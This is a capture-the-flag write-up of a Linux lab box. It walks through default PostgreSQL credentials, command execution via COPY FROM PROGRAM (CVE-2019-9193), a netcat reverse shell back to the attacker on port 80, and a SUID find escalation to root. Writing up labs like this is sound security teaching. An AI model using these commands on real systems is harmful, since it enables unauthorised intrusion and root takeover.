Nibbles · linux · – views
Nibbles: PostgreSQL default creds, then a SUID find to root
This Linux box had a lot of ports open, and most of them were dead ends. FTP wouldn't brute-force, SMB had no anonymous access, the web app led nowhere. The way in was an unusual PostgreSQL port that everyone almost skips. Default credentials got me into the database as a superuser, that turned into command execution, and a single misconfigured binary finished it off as root. A good lesson in checking every port, even the boring-looking one.
The port everyone would skip
After ruling out the obvious services, the one left was PostgreSQL running on
a non-standard port (5437). A database exposed to the network is always worth
a close look. The default PostgreSQL account is postgres, and I
tried the equally default password postgres. It logged straight
in, and the account was a superuser. That's the whole foothold: a database
admin login handed over for free.
Database login to command execution
A superuser in PostgreSQL isn't just "can read tables", it can run operating
system commands. There's a well-known technique (CVE-2019-9193) that abuses
the legitimate COPY ... FROM PROGRAM feature: it's meant to read
the output of a program into a table, but that means it runs the program. So
you can pipe any command through it and read the result back.
COPY tmp FROM PROGRAM 'whoami'; -- runs whoami as the db user
That confirmed code execution as the postgres user. Next step, a
real shell.
A shell, but only on port 80
My reverse shell on the usual high port didn't connect. That's a firewall talking: the box only lets certain ports back out. Since the web app on the box has to talk to this database, port 80 was almost certainly allowed through, so I pointed my reverse shell at port 80 and it came back immediately.
COPY tmp FROM PROGRAM 'nc -c sh <me> 80';
That gave me an interactive shell as postgres. Worth remembering:
when a shell won't connect, it's usually not your payload, it's the firewall,
and the ports the box itself needs (80, 443) are the ones most likely open
outbound.
SUID find to root
As the postgres user I ran linpeas to enumerate for privilege escalation, and
it flagged something in the SUID section: /usr/bin/find had the
SUID bit set. SUID means the binary runs as its owner (root) no matter who
launches it. If a program that powerful can also run other commands, it's
game over.
find can run commands with its -exec flag, and
GTFOBins has the exact one-liner. The -p on the shell keeps the
elevated privileges instead of dropping them:
find . -exec /bin/sh -p \; -quit
That dropped me into a shell with an effective UID of 0, root. Done.
The chain, in one line
Default postgres:postgres logs in as a DB superuser, COPY FROM PROGRAM turns that into command execution, a port-80 reverse shell gets past the firewall, and a SUID find binary hands over root.
What I took from it
Two habits. First, check every open port, especially the one on a weird number that isn't a normal web or file service. The whole box hinged on a database listening where you might not look, protected by a password nobody changed. Second, when a reverse shell won't call home, stop blaming the payload and think about egress filtering, then reach for the ports the box itself has to use. And SUID binaries are always worth checking on Linux; GTFOBins turns "this binary has the SUID bit" straight into a root shell.